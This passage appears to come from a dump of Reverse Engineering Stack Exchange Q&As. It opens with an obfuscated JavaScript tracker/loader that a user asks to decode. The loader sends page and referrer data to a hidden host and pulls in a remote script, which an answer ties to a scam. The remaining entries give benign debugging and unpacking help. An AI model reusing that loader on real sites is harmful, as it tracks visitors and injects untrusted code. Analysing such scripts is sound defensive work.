a+'\"'},L=function(g,a,b,c,d,f,k){var e,p,l,m,n,q,r,t,A;try{e=a[g]}catch(x){}if(\"object\"==typeof e&&e)if(p=u.call(e),\"[object Date]\"!=p||v.call(e,\"toJSON\"))\"function\"==typeof e.toJSON&&(\"[object Number]\"!=p&&\"[object String]\"!=p&&\"[object Array]\"!=p||v.call(e,\"toJSON\"))&&(e=e.toJSON(g));else if(e>-1/0&&e<1/0){if(G){m=y(e/864E5);for(p=y(m/365.2425)+1970-1;G(p+1,0)<=m;p++);for(l=y((m-G(p,0))/30.42);G(p,l+1)<=m;l++);\n    m=1+m-G(p,l);n=(e%864E5+864E5)%864E5;q=y(n/36E5)%24;r=y(n/6E4)%60;t=y(n/1E3)%60;n%=1E3}else p=e.getUTCFullYear(),l=e.getUTCMonth(),m=e.getUTCDate(),q=e.getUTCHours(),r=e.getUTCMinutes(),t=e.getUTCSeconds(),n=e.getUTCMilliseconds();e=(0>=p||1E4<=p?(0>p?\"-\":\"+\")+z(6,0>p?-p:p):z(4,p))+\"-\"+z(2,l+1)+\"-\"+z(2,m)+\"T\"+z(2,q)+\":\"+z(2,r)+\":\"+z(2,t)+\".\"+z(3,n)+\"Z\"}else e=null;b&&(e=b.call(a,g,e));if(null===e)return\"null\";p=u.call(e);if(\"[object Boolean]\"==p)return\"\"+e;if(\"[object Number]\"==p)return e>-1/0&&e<\n1/0?\"\"+e:\"null\";if(\"[object String]\"==p)return N(\"\"+e);if(\"object\"==typeof e){for(g=k.length;g--;)if(k[g]===e)throw H();k.push(e);A=[];a=f;f+=d;if(\"[object Array]\"==p){l=0;for(g=e.length;l<g;l++)p=L(l,e,b,c,d,f,k),A.push(p===w?\"null\":p);g=A.length?d?\"[\\n\"+f+A.join(\",\\n\"+f)+\"\\n\"+a+\"]\":\"[\"+A.join(\",\")+\"]\":\"[]\"}else D(c||e,function(g){var a=L(g,e,b,c,d,f,k);a!==w&&A.push(N(g)+\":\"+(d?\" \":\"\")+a)}),g=A.length?d?\"{\\n\"+f+A.join(\",\\n\"+f)+\"\\n\"+a+\"}\":\"{\"+A.join(\",\")+\"}\":\"{}\";k.pop();return g}};c.stringify=function(g,\n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             a,b){var c,e,d,f;if(m[typeof a]&&a)if(\"[object Function]\"==(f=u.call(a)))e=a;else if(\"[object Array]\"==f){d={};for(var l=0,p=a.length,n;l<p;n=a[l++],(f=u.call(n),\"[object String]\"==f||\"[object Number]\"==f)&&(d[n]=1));}if(b)if(\"[object Number]\"==(f=u.call(b))){if(0<(b-=b%1))for(c=\"\",10<b&&(b=10);c.length<b;c+=\" \");}else\"[object String]\"==f&&(c=10>=b.length?b:b.slice(0,10));return L(\"\",(n={},n[\"\"]=g,n),e,d,c,\"\",[])}}if(!e(\"json-parse\")){var S=x.fromCharCode,T={92:\"\\\\\",34:'\"',47:\"/\",98:\"\\b\",116:\"\\t\",\n    110:\"\\n\",102:\"\\f\",114:\"\\r\"},f,J,n=function(){f=J=null;throw E();},C=function(){for(var a=J,b=a.length,c,e,d,l,k;f<b;)switch(k=a.charCodeAt(f),k){case 9:case 10:case 13:case 32:f++;break;case 123:case 125:case 91:case 93:case 58:case 44:return c=F?a.charAt(f):a[f],f++,c;case 34:c=\"@\";for(f++;f<b;)if(k=a.charCodeAt(f),32>k)n();else if(92==k)switch(k=a.charCodeAt(++f),k){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:c+=T[k];f++;break;case 117:e=++f;for(d=f+4;f<d;f++)k=a.charCodeAt(f),\n48<=k&&57>=k||97<=k&&102>=k||65<=k&&70>=k||n();c+=S(\"0x\"+a.slice(e,f));break;default:n()}else{if(34==k)break;k=a.charCodeAt(f);for(e=f;32<=k&&92!=k&&34!=k;)k=a.charCodeAt(++f);c+=a.slice(e,f)}if(34==a.charCodeAt(f))return f++,c;n();default:e=f;45==k&&(l=!0,k=a.charCodeAt(++f));if(48<=k&&57>=k){for(48==k&&(k=a.charCodeAt(f+1),48<=k&&57>=k)&&n();f<b&&(k=a.charCodeAt(f),48<=k&&57>=k);f++);if(46==a.charCodeAt(f)){for(d=++f;d<b&&(k=a.charCodeAt(d),48<=k&&57>=k);d++);d==f&&n();f=d}k=a.charCodeAt(f);if(101==\n    k||69==k){k=a.charCodeAt(++f);43!=k&&45!=k||f++;for(d=f;d<b&&(k=a.charCodeAt(d),48<=k&&57>=k);d++);d==f&&n();f=d}return+a.slice(e,f)}l&&n();if(\"true\"==a.slice(f,f+4))return f+=4,!0;if(\"false\"==a.slice(f,f+5))return f+=5,!1;if(\"null\"==a.slice(f,f+4))return f+=4,null;n()}return\"$\"},M=function(a){var b,c;\"$\"==a&&n();if(\"string\"==typeof a){if(\"@\"==(F?a.charAt(0):a[0]))return a.slice(1);if(\"[\"==a){for(b=[];;c||(c=!0)){a=C();if(\"]\"==a)break;c&&(\",\"==a?(a=C(),\"]\"==a&&n()):n());\",\"==a&&n();b.push(M(a))}return b}if(\"{\"==\n    a){for(b={};;c||(c=!0)){a=C();if(\"}\"==a)break;c&&(\",\"==a?(a=C(),\"}\"==a&&n()):n());\",\"!=a&&\"string\"==typeof a&&\"@\"==(F?a.charAt(0):a[0])&&\":\"==C()||n();b[a.slice(1)]=M(C())}return b}n()}return a},P=function(a,b,c){c=O(a,b,c);c===w?delete a[b]:a[b]=c},O=function(a,b,c){var d=a[b],e;if(\"object\"==typeof d&&d)if(\"[object Array]\"==u.call(d))for(e=d.length;e--;)P(d,e,c);else D(d,function(a){P(d,a,c)});return c.call(a,b,d)};c.parse=function(a,b){var c,d;f=0;J=\"\"+a;c=M(C());\"$\"!=C()&&n();f=J=null;return b&&\n\"[object Function]\"==u.call(b)?O((d={},d[\"\"]=c,d),\"\",b):c}}}c.runInContext=b;return c}var a=\"function\"===typeof define&&define.amd,m={\"function\":!0,object:!0},c=m[typeof exports]&&exports&&!exports.nodeType&&exports,d=m[typeof window]&&window||this,e=c&&m[typeof module]&&module&&!module.nodeType&&\"object\"==typeof global&&global;!e||e.global!==e&&e.window!==e&&e.self!==e||(d=e);if(c&&!a)b(d,c);else{var l=d.JSON,x=d.JSON3,q=!1,E=b(d,d.JSON3={noConflict:function(){q||(q=!0,d.JSON=l,d.JSON3=x,l=x=null);\n    return E}});d.JSON={parse:E.parse,stringify:E.stringify}}a&&define(function(){return E})}).call(this);(function(){var b=x(),a=(new Date).getTimezoneOffset()/-1,m=Math.floor(9999999*Math.random()+1E4),c=document.referrer,d=window.location.toString(),e;e=(e=/\\?cr=([^&]+)/.exec(q().src))?l.decode(e[1]):\"\";b=\"?d=\"+l.encode(JSON.stringify({k:b,b:a,c:m,r:c,s:d,cr:e}));a=q().src;a=-1<a.indexOf(\"//\")?a.split(\"/\")[2]:a.split(\"/\")[0];a=a.split(\":\")[0];a=\"//\"+(a?a:H(106,115,45,99,100,110,46,99,111,109))+H(47,\n        105,109,112,47)+x()+\".js\";document.write('<script src=\"'+(a+b)+'\">\\x3c/script>')})()})();\n
    \n", "Title": "How do I reverse this javascript code? How is it packed?", "Tags": "|javascript|", "Answer": "

    1.

    \n\n

    The script writes a <script src=...> tag at the end, so to know what it is doing, you could change the last document.write to a console.log or other defanging measures to see that this is written out:

    \n\n
    <script src=\"//srvjs.com/imp/gie462.js?d=\u00abbase64\u00bb\"></script>\n
    \n\n

    Visiting that URL gives \"Whoops, looks like something went wrong.\" in HTML, so I guess the script has been inactivated at the moment, or I didn't pass the correct parameters.

    \n\n

    If the script is loaded with relative path instead of from srvjs.com, the host becomes js-cdn.com instead. Googling for js-cdn.com gives this blog post which indicates the site is related to scam in 2015.

    \n\n

    Note that both srvjs.com/imp/gie462.js and js-cdn.com/imp/gie462.js return the same content, so these two websites should be strongly related.

    \n\n

    2.

    \n\n

    There isn't much obfuscation, I think your unpacker is just not very good in quality. I just used VS Code's beautifier to get this.

    \n\n

    3.

    \n\n

    The script is long, mainly because it included a lot of libraries.

    \n\n\n\n
    \n\n

    Update 2016 Nov 7th: The script is now up, currently just redirects to http://google.com when not given any parameters, so probably still in testing phase.

    \n" }, { "Id": "13873", "CreationDate": "2016-11-06T14:55:30.170", "Body": "

    I want to ask if somebody is aware of tools/projects which are similar to the Appcall feature of IDA Pro[1] for Android Apps?

    \n\n

    I'm looking for the possibility to run certain methods detected in the smali code without running the whole APK.

    \n\n

    Thanks in advance for your help :-)

    \n\n

    [1] http://www.hexblog.com/?p=113

    \n", "Title": "Call Android method without running whole Android-App", "Tags": "|android|gdb|dynamic-analysis|", "Answer": "

    You should be able to write a separate application that dynamically loads the dex file from the app that you are interested in using DexClassLoader, allowing you to construct classes and call methods from that dex file.

    \n\n

    You can get the path to the other apk using PackageManager.getApplicationInfo(). The sourceDir field of the returned ApplicationInfo object will have the path to the apk.

    \n" }, { "Id": "13877", "CreationDate": "2016-11-07T05:14:52.713", "Body": "

    I debug a program with IDA, it have a part of code that i don't understand

    \n\n
    loc_8048E30:                            ; CODE XREF: phase_6+9Ej\n.text:08048E30 mov     esi, [esi+8]\n.text:08048E33 inc     ebx\n.text:08048E34 cmp     ebx, eax\n.text:08048E36 jl      short loc_8048E30   \n
    \n\n

    line 1: mov esi, [esi+8] when I debug address of esi is 0x804B260 so esi+8 is 0x804B268.

    \n\n

    The value in [esi+8] is 60h so after mov esi, [esi+8], the value in esi is 60h but it really is 0x804B260. Why it is 0x804B260?

    \n\n

    And when esi is named .data:node2, it is linked link?

    \n\n

    \"enter \n\"enter

    \n", "Title": "Linked list in IDA", "Tags": "|ida|x86|", "Answer": "

    The instruction mov esi, [esi + 8] copies 4 bytes (DWORD) of data at the location pointed to by esi + 8to register esi.

    \n\n

    In your case esi is 0804B260 so it copies 4 bytes from 0804B268. Since x86_64 is little endian the least significant byte as per the screenshot 1 is 0x60. The remaining three bytes are located below (not in the picture).

    \n\n

    It is named node2 as it is an exported symbol.

    \n" }, { "Id": "13881", "CreationDate": "2016-11-08T08:32:51.230", "Body": "

    I'm debugging android jni with gdb. There's a jni function A(), I need to set breakpoint there and step through. I calculated the address with module_base+offset, which is 0x99B62C7A, then I tried to verify if it's the right address, with gdb command:

    \n\n
    display /5i 0x99B62C7A\n
    \n\n

    It prints some unexpected instructions, which is different from IDA:\n\"enter

    \n\n

    And if I put a breakpoint there and click on the UI to trigger the breakpoint, the process crashes with SIGSEGV.

    \n\n

    So why gdb displays different instructions? Is the crash has something to do with the bad instruction?

    \n", "Title": "gdb shows wrong instruction", "Tags": "|ida|android|gdb|", "Answer": "

    Your instructions shown by Ida are Thumb-mode instructions. The easiest way to verify this is by checking the addresses - each instruction has 2 bytes. Gdb doesn't know this however, and assumes 4 byte arm instructions. When an object has a symbol table, gdb can detect the instruction mode from that, but will fallback to a default mode when it can't. You can change this fallback mode; set arm fallback-mode thumb should do the trick.

    \n\n

    This explains the SIGSEGV as well as breakpoints use different opcodes in arm and thumb mode.

    \n" }, { "Id": "13884", "CreationDate": "2016-11-08T10:21:14.887", "Body": "

    I am analysing obfuscated code which contains code paths leading to dummy instructions. These dummy instructions prevent IDA from creating functions. However, I need these functions to do a function matching with Bindiff.

    \n\n

    While I was patching these functions manually, the output of the \"Make Function\" feature (by pressing \"p\") contained the address where it encountered a problem. This information was very helpful to pinpoint the next dummy instruction.

    \n\n

    To speed up this process I started to write a Python script. I managed to identify the start addresses of functions containing dummy instructions. However, unlike in the IDA Pro UI the API function MakeFunction() only returns true or false to indicate a (un)successful creation.

    \n\n

    I tried to get the same address as reported in the output window by other means like \"Jump to next unexplored\", but no luck. The only other way I found is to use the \"Jump to Problem\" option which again I only can access in the UI.

    \n\n

    Is there a way to get the address where MakeFunction() failed in Python, just like in the UI?

    \n", "Title": "How to get address where MakeFunction() failed in IDA Pro", "Tags": "|ida|idapython|deobfuscation|", "Answer": "

    Solution:

    \n\n

    find_func_bounds() does the trick (see SDK documentation). That's how it works:

    \n\n
    pfn = func_t()\nfind_func_bounds(ea, pfn, FIND_FUNC_NORMAL)\npfn.endEA\n
    \n\n

    If the return value of find_func_bounds() is FIND_FUNC_UNDEF (0), pfn.endEA contains the address where it encountered unexplored bytes.

    \n" }, { "Id": "13886", "CreationDate": "2016-11-08T20:22:52.330", "Body": "

    I have some dead pixels in top couple of rows of my cheap Win 10 tablet. To alleviate that, I wanted to use the custom resolution option in Intel graphics management panel, however, I cannot choose advanced options in the custom resolutions options and it is driving me crazy.

    \n\n

    I remembered Intel GFX drivers used some *.inf to enable some options and I believe it is in igdlh64.inf.

    \n\n

    Has any of you tried to modify this or have some knowledge on this (and no there is not a documentation provided anywhere)?

    \n", "Title": "igdlh64.inf modify custom resolution", "Tags": "|driver|intel|", "Answer": "

    DTD Calculator (http://www.avsforum.com/forum/26-home-theater-computers/947830-custom-resolution-tool-intel-graphics-easier-overscan-correction.html) did the job for me.

    \n\n

    Using it I was able to create valid EDIDs and add them to by modifying [NonEDIDMode_AddSwSettings] category in the said inf file(simply modify total number of DTD and add your EDID, do not forget to add 2 Bytes of flags 37 01).

    \n\n

    If you need further step by step instructions or detailed explanations of fields please do check https://software.intel.com/en-us/articles/custom-resolutions-on-intel-graphics

    \n\n

    Or you can try your luck with registry hack option of the DTD calculator, as well, did not work for me though.

    \n" }, { "Id": "13889", "CreationDate": "2016-11-09T19:09:56.290", "Body": "

    I'm getting into the world of reverse engineering because I think it would be interesting to know how things work and such (also learning some assembly).

    \n\n

    But I have this strange problem, when I'm debugging some code, like a program from crackme.de, the program gets terminated instantly when I try to run it. So to see the changes I've done I actually have to patch it which will be very annoying in the long run I think.

    \n\n

    I've tried out different debuggers as well, OllyDbg, IDA Pro (free edition) and Immunity Debugger (going with this one because I like it).

    \n\n

    And I still have the same problem. I make some changes, I debug the program (start process), instantly gets Program terminated with code 0 (which is the return value from the program if I understand right).

    \n\n

    Any ideas? I must be doing something wrong. I'm running Windows 10 if that might help.

    \n\n

    Thanks.

    \n", "Title": "Program gets terminated when debugging", "Tags": "|debugging|", "Answer": "

    Try putting a breakpoint on various process exit points: ExitProcess, TerminateProcess, TerminateThread. If the exit is done by the process itself, you should be able to catch it and then see what could have triggered it.

    \n" }, { "Id": "13891", "CreationDate": "2016-11-10T04:02:29.593", "Body": "

    I have a binary file and a text file of the corresponding data, and I know the location in the binary file where the data are contained. However, I am unable to determine in what manner the data are encoded. The data do not appear to be stored as float16, float32, float64, signed/unsigned int of various length, or char, based on analysis of the hexdump. Perhaps the section containing the data has been compressed by some algorithm, or perhaps the numbers are stored in a representation with which I am unfamiliar.

    \n\n

    The human-readable data are as follows:

    \n\n
    20.0,0.001\n21.0,0.001\n22.0,0.001\n23.0,0.001\n24.0,0.002\n25.0,0.002\n26.1,0.002\n27.0,0.004\n28.0,0.002\n29.0,0.002\n30.0,0.003\n31.0,0.004\n(etc)\n
    \n\n

    I have 70 such lines, each containing two numbers of the precision shown in the table. The corresponding data section comprises 2312 hexadecimal digits, or 1156 bytes. There is a repeating pattern of characters ascending the ASCII table followed by @ signs (e.g., 4@ = '0x3440', 5@ = '0x3540', 6@ ='3640', etc.). This \"motif\" occurs every 16 bytes and there are 70 occurrences. One challenge is that although there is a monotonic progression in the ASCII value of the byte preceding the @ ('0x40'), it does not always increase (i.e., there are stationary points, sometimes followed by a jump that skips over one of the ASCII characters; for instance 4@ ... 5@ ... 6@ ...6@ ... 8@ ... 9@ ...). Based on the 16-byte periodicity of this motif, I assume each row in the human-readable table is represented in the binary file by 16 consecutive bytes. Thus, the total size of the binary data table would be 16*70 = 1120 bytes. The complete data table is 1156 bytes, so I further assume the unexplained 36 bytes contain header information. Indeed, I can account for most of the header: 15 bytes containing a data descriptor in plain text, 16 bytes of zeros which appears to serve as an offset, and one byte ('0x46' = 70 in decimal) which appears to encode the number of lines in the table.

    \n\n

    My problems are currently the following:

    \n\n\n\n

    An example of the hexadecimal contents (xxd dump) corresponding very nearly to the contents above and aligned to show the progression of '0x40' = @ that I mentioned previously is shown below. This table begins with the '0x46' (decimal 70), to which I alluded previously as being a part of the header and representing the number of lines in the data table. The hex digits before the colon simply give the offset of the line from the beginning of the file; the middle section shows eight bytes (16 hex digits) of data; the right part of the table shows the ASCII-printable values for the hex data (. signifies ASCII-unprintable values, mostly 0x00).

    \n\n
    00000180: 4600 0000 0000 0000 0000 3440 0000 0000  F.........4@....\n00000190: 0000 583f 0000 0000 0000 3540 0000 0000  ..X?......5@....\n000001a0: 0000 503f c3f5 285c 8f02 3640 0000 0000  ..P?..(\\..6@....\n000001b0: 0000 553f 3e0a d7a3 70fd 3640 0000 0000  ..U?>...p.6@....\n000001c0: 0000 453f 0000 0000 0000 3840 0000 0000  ..E?......8@....\n000001d0: 0040 5d3f 85eb 51b8 1e05 3940 0000 0000  .@]?..Q...9@....\n000001e0: 0000 5e3f cdcc cccc cc0c 3a40 0000 0000  ..^?......:@....\n000001f0: 0000 633f f628 5c8f c2f5 3a40 0000 0000  ..c?.(\\...:@....\n00000200: 00c0 703f 3e0a d7a3 70fd 3b40 0000 0000  ..p?>...p.;@....\n00000210: 0000 5a3f 0000 0000 0000 3d40 0000 0000  ..Z?......=@....\n00000220: 0020 613f 48e1 7a14 ae07 3e40 0000 0000  . a?H.z...>@....\n00000230: 00c0 643f c3f5 285c 8f02 3f40 0000 0000  ..d?..(\\..?@....\n
    \n\n

    I would like advice on how to proceed with this particular problem, mainly determining whether compression is a factor and how the numbers are represented in the binary file, since I can thus far detect no obvious correspondence between the rows of human-readable data and the repeating 16-byte motifs that I described.

    \n", "Title": "extracting data from binary file", "Tags": "|binary-analysis|", "Answer": "

    This data actually is in standard x86 double (8 byte) representation, with the first 4 byte something else (46 00 00 00 probably being 70 as you said) and the data starting at offset 0x184 in the binary file.

    \n\n

    What probably confused you is the fact that the human-readable data is rounded, and the binary file has a better precision. So, for example, your 23.0 is actually 22.99, which is why 3640 occurs twice, and the next value, 24.00, has 38 40.

    \n\n

    When I convert your hex back to binary (edit out the offset and character dump, then xxd -r -p < x.hex > x.bin), then run the following perl program over it:

    \n\n
    open(F, \"<$ARGV[0]\");\nbinmode F;\n\nseek(F, 4, 0);\n\nwhile (read(F, $dbl, 8)) {\n    read(F, $dbl2, 8);\n    printf(\"%15.10f  %15.10f   \", unpack(\"d\", $dbl), unpack(\"d\", $dbl2));\n    printf(\"%4.1f  %5.3f\\n\", unpack(\"d\", $dbl), unpack(\"d\", $dbl2));\n}\n
    \n\n

    I get this:

    \n\n
    20.0000000000     0.0014648438   20.0  0.001\n21.0000000000     0.0009765625   21.0  0.001\n22.0100000000     0.0012817383   22.0  0.001\n22.9900000000     0.0006408691   23.0  0.001\n24.0000000000     0.0017852783   24.0  0.002\n25.0200000000     0.0018310547   25.0  0.002\n26.0500000000     0.0023193359   26.1  0.002\n26.9600000000     0.0040893555   27.0  0.004\n27.9900000000     0.0015869141   28.0  0.002\n29.0000000000     0.0020904541   29.0  0.002\n30.0300000000     0.0025329590   30.0  0.003\n31.0100000000     0.0000000000   31.0  0.000\n
    \n\n

    As you see, the right 2 columns are the numbers in your precision and match (except the last 0.004 which isn't in your file), while the first 2 columns are in high precision and, sometimes, have a value that is slightly less than the next integer.

    \n\n

    I found this by converting 20.0 to double and checking the hex:

    \n\n
    perl -e \"print pack('d', 20.0);\" | xxd\n0000000: 0000 0000 0000 3440                      ......4@\n
    \n\n

    then just starting at the fitting offset in your file and converting stuff back.

    \n" }, { "Id": "13905", "CreationDate": "2016-11-12T16:03:31.633", "Body": "

    I'm trying to figure out how to copy \"properly\" strings from memory, I see there are very few plugins available for ollydbg2.x.x and the one I've tried, called BinaryCopyEx didn't work ok, for instance, It was impossible to press the buttons to \"Copy to clipboard\" or \"save to file\" (using 1920x1080 resolution).

    \n\n

    Also, I wouldn't like to come back to ollydbg110 because the packed executables I'm dealing with were having some issues being opened with v110. When I say properly I don't mean using \"Copy as a table\" command, I'd just want to extract the string content (beautified or not).

    \n\n

    So, could you please recommend me any OllyDbg v201 plugin suitable for the task? If not, any other proper method to copy large random strings from start to end offsets would be welcome.

    \n", "Title": "How to copy memory strings on OllyDBG v2.01?", "Tags": "|ollydbg|tools|", "Answer": "

    Why not use olly's built-in copy?

    \n\n

    \"binary

    \n\n

    Right click->Edit->Binary copy will give you the hex string of bytes, and then to get that sting out of that in python 2 for example, you can run this one liner: binary_output.replace(' ', '').decode('hex') where binary_output is the clipboard value after using the binary copy option.

    \n\n

    Another way, to copy the string as text into your clipboard (save the overhead of decoding the hex values) would be using the \"Binary edit\" option:

    \n\n

    \"binary

    \n\n

    And then highlighting the \"ASCII\" text box and copying the string directly from there:

    \n\n

    \"enter

    \n" }, { "Id": "13909", "CreationDate": "2016-11-12T19:30:49.153", "Body": "

    I can't figure out exactly how these binary matrix files are formatted, other than the 2 little-endian 32-bit unsigned integers in the header. Supposedly the following is a 3x3 identity matrix:

    \n\n
    0300 0000 0300 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f \n
    \n\n

    And the following is a 3x2 matrix with arbitrary numbers whose value I'm not certain of:

    \n\n
    0300 0000 0200 0000 0000 803f 0000 4040\n0000 a040 0000 0040 0000 8040 0000 c040\n
    \n\n

    Basically, is there an encoding where 0000 803f can translate to a value of 1 while 0000 0000 translates to 0 for each of the matrix values?

    \n", "Title": "Interpret binary format of matrix files provided (*.mtx)", "Tags": "|file-format|binary-diagnosis|", "Answer": "

    You've correctly identified the first four bytes as the header or matrix shape.

    \n\n

    If you were to remove those shape bytes and realign the rest of the hex string, the identify matrix becomes very clear:

    \n\n
    0000 803f 0000 0000 0000 0000\n0000 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f \n
    \n\n

    We can easily see here that the text aligns to the shape of an identity matrix, a cell is four bytes, and the value of 0000 803f represents 1.

    \n\n

    This just happens to be the IEEE 754 encoding of 1.0. This is either something you can recognise with some experience or have python show you:

    \n\n
    In [1]: import struct\n\nIn [3]: struct.unpack('f', \"0000803f\".decode('hex'))\nOut[3]: (1.0,)\n
    \n" }, { "Id": "13912", "CreationDate": "2016-11-12T20:08:47.760", "Body": "

    I'm trying to learn how to unpack a simple executable which has been compressed with crinkler, let be the nasm listing here compressed with crinkler.

    \n\n

    example1.asm:

    \n\n
    global start\n; kernel32.lib Exports\nextern _ExitProcess@4\nextern _GetStdHandle@4\nextern _WriteFile@20\n\nsection .text\n\nstart:\n    ; DWORD  bytes;\n    mov     ebp, esp\n    sub     esp, 4\n\n    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)\n    push    -11\n    call    _GetStdHandle@4\n    mov     ebx, eax\n\n    ; WriteFile( hstdOut, message, length(message), &bytes, 0);\n    push    0\n    lea     eax, [ebp-4]\n    push    eax\n    push    (message_end - message)\n    push    message\n    push    ebx\n    call    _WriteFile@20\n\n    ; ExitProcess(0)\n    push    0\n    call    _ExitProcess@4\n\n    ; never here\n    hlt\nmessage:\n    db      'Hello, World', 10\nmessage_end:\n
    \n\n

    To generate the exe I'm using latest version of nasm & crinkler like this nasm -f win32 example1.asm && crinkler example1.obj kernel32.lib user32.lib opengl32.lib winmm.lib gdi32.lib legacy_stdio_definitions.lib oldnames.lib ucrt.lib /out:example1_crinkler.exe /CRINKLER /HASHTRIES:300 /COMPMODE:SLOW /ORDERTRIES:4000 /entry:start /subsystem:console

    \n\n

    To unpack the exe I'm using OllyDbg v201 and the latest version of OllyDumpEx v1.50. Problem here is, the OllyDebugEx's website only has these sections {Overview, Features, Screenshots, Supported Debuggers, Download, Changelog}, no documentation at all, which means the plugin assumes you've already experience with the whole bunch of options/terms.

    \n\n

    Right now I've reached the point where I've figured out how to uncompress my test executable and finding the OEP, current status below:

    \n\n

    \"enter

    \n\n

    What I'd like to know now is understand the whole set of available options provided by OllyDumpEx:

    \n\n\n\n

    Once I know how to dump it properly I'd also like to know how to fix it so I'll get the final uncompressed exe.

    \n", "Title": "Trying to decompress a hello world program using OllyDbg v201", "Tags": "|windows|ollydbg|tools|", "Answer": "

    If I understood the problem right, the task would have been solved in case an uncompressed (and running!) exe - having been linked with crinkler - could be produced. In the following I will show the steps how to achieve this. However, all the steps had been done in Ida and not in Olly, because I am not familiar with Olly. The procedure should be very similar. Here come the steps:

    \n\n

    Summary: Let it run until after the \"ret\" of the compressor, dump to a bin file, patch the single byte explained below into a \"ret\" bypassing the decompressor, and finished. The nice thing with this technique is that absolutely no fiddling around with the PE header is necessary. All that magic loading with the PE header having been corrupted by crinkler remains intact. The PE header NEEDS NOT be touched in any way. Now, a more detailed description follows:

    \n\n

    Step1: Produce an exe. I followed the line already having presented in this thread with a WinMain and a Message box. This worked without problem as expected (Win10, Compiler VS2013).

    \n\n

    Step 2: Load it into Ida, start address was 0x40005c. Some warnings, but finally the start function shows up. It is possible to set a breakpoint at the \"start\" position. Notably and interestingly, the first lines of this initial code MUST NOT be changed, otherwise Ida produces strange error messages like not accepting the Win32 local debugger or asking something about a %1 object. I assume this is due to the fact that this startup code must produce NOPs for the loader as it might reside somewhere in the PE header.

    \n\n

    Step 3: Let the decompressor run until the \"ret\" statement having already been discussed in this thread (in my example, at address 0x4000d3). This \"ret\" indicates the end of the decompressor, the code returns into the application part, but beware: The application code has not been linked with Kernel32.lib. A typical technique like the one used in shellcode programming is used. The kernel32.dll address is found similar to the usual (and undocumented) way, having been excellently written dow by skape many years ago. Once the kernel32.dll address is known, all other OS dlls and API calls can be collected dynamically. Beforehand, and obviously as a result of the crinkling procedure, the necessary names like \"LoadLibraryA\", \"user32.dll\" or \"MessageBoxA\" had been stored in hashed form. All windows library loading and access is done dynamically at runtime, also the generation of app defined strings. The purpose of all this is to improve the compression ratio and has (IMO!) nothing to do with the core compression algorithm. The similarity to shellcode programming is obvious: There free RAM space is a very precious resource, and therefore shellcode must be as compact as possible. Every byte counts.

    \n\n

    Step 4: At the beginning of the application part, i.e. after the discussed \"ret\" statement (address 0x420000 in my example), a memory dump must be made, RVA 0x400000 becoming offset zero in the file. My dump started at 0x00400000 with a length of 0x50000. The highest address used by the uncompressor was in the example around 0x430000. The dump is trivial in Ida with a suitable small script.

    \n\n

    Step 5: Bypassing the uncompressor. As already mentioned, this MUST NOT be done at the \"start\" point, as it will not succeed. But luckily, some statements later (address 0x400076) the stack has been loaded by the uncompressor with the proper application address of 0x420000. All what have to be patched is a \"ret\" statement at address 400076, leading the code into the uncompressed part. A single byte patch is sufficient! The start part now looks like this:

    \n\n
    HEADER:0040005C                 public start\nHEADER:0040005C start           proc near\nHEADER:0040005C                 push    ebx\nHEADER:0040005D                 xor     ebp, ebp\nHEADER:0040005F                 mov     ebx, 2\nHEADER:00400064                 nop\nHEADER:00400065                 mov     esi, 400114h\nHEADER:0040006A                 push    1\nHEADER:0040006C                 pop     eax\nHEADER:0040006D                 mov     edi, 420000h\nHEADER:00400072                 mov     cl, 0\nHEADER:00400074                 nop\nHEADER:00400075                 push    edi\nHEADER:00400076                 retn\n
    \n\n

    Step 6: Thats all, what is missing is to rename the file into a something.exe and try if it works. It worked, no complaints from the windows loader, and all possibilities to investigate with static breakpoints in the debugger.

    \n\n

    Of course, if necessary the produced uncompressed exe can be provided.

    \n" }, { "Id": "13923", "CreationDate": "2016-11-14T11:55:05.473", "Body": "

    I have a probably executable file for Motorola/Freescale/NXP PowerQUICC MPC860 and cannot disassemble it with IDA Pro since I cannot find the correct processor type in IDA?!

    \n\n

    IDA list MPC860 as supported see:\nHEX Rays Supported Processors

    \n\n

    But is not listed, Any help or suggestion which type should I choose for this file:

    \n\n

    BIN FILE

    \n\n

    Also there is another text file list some file addresses and says it is memory map? Can it help in reverse engineering?\n[MAP File][3]

    \n\n

    Regards

    \n", "Title": "How to dissassemble Motorola/Freescale/NXP PowerQUICC excutable", "Tags": "|ida|disassembly|motorola|", "Answer": "

    It looks like that you should choose PowerPC big endian. After loading the binary the menu which contains \"MPC860\" will appear.

    \n\n

    Please note that image probably should be rebased for the proper disassembling. I loaded modem.bin into Ida and I see some reasonable code.

    \n\n\n" }, { "Id": "13925", "CreationDate": "2016-11-14T12:53:26.213", "Body": "

    I'm reversing some old game (for fun, to restore its priceless rules). It's been most probably linked statically to MSVCRT, some very old version. Also it uses heavily WinAPI (like ODCBC drivers, crypto libs, multi-threading and network stuff).\nSo far I found one very weird class:

    \n\n
    DNameNode \n
    \n\n

    What can I see from reversed code, it's a base class for some other structures, and it uses some synchronization constructions.

    \n\n

    Unfortunately, I couldn't find any info about those DNameNodes. Do you have any ideas, what's are they used for?

    \n\n

    Guessed c.tor of some of (guessed) derived class:

    \n\n
    DNameNode *__thiscall sub_4182BD(DNameNode *this)\n{\n  DNameNode *v1; // ST00_4@1\n\n  v1 = this;\n  DNameNode::DNameNode(this);\n  *(_DWORD *)v1 = &off_45F538;\n  *((_DWORD *)v1 + 3) = -1;\n  *((_DWORD *)v1 + 2) = 0;\n  return v1;\n}\n
    \n", "Title": "DNameNode class from MSVC binaries", "Tags": "|ida|windows|hexrays|", "Answer": "

    Okay, now I'm pretty sure, that it was FLIRT signature missmatch. DNameNode from my code doesn't have anything common with undname tool (which looks like IDA missmatches it with).

    \n\n

    Also, I found in Google, that this structure is present in WoW, Diablo2 and Lineage clients.

    \n\n

    So, it's a structure with 1 sizeof(ptr) field and 4 structures. In my case it was kind of smart pointer.

    \n" }, { "Id": "13926", "CreationDate": "2016-11-14T14:57:56.793", "Body": "

    Is there a way one can actually view system files and even apps on file manager of a windows phone the way we do with Android phones. I would love to do this so much on my Nokia Lumia 435 running on Windows 8.1. Reason I want to view where Opera mini hides its downloads. Imagine when I download files on Opera Mini and later try to move them to \"Downloads\" folder they become get there when their size is 0kb

    \n", "Title": "How to view system files on Windows Phone", "Tags": "|windowsphone|", "Answer": "

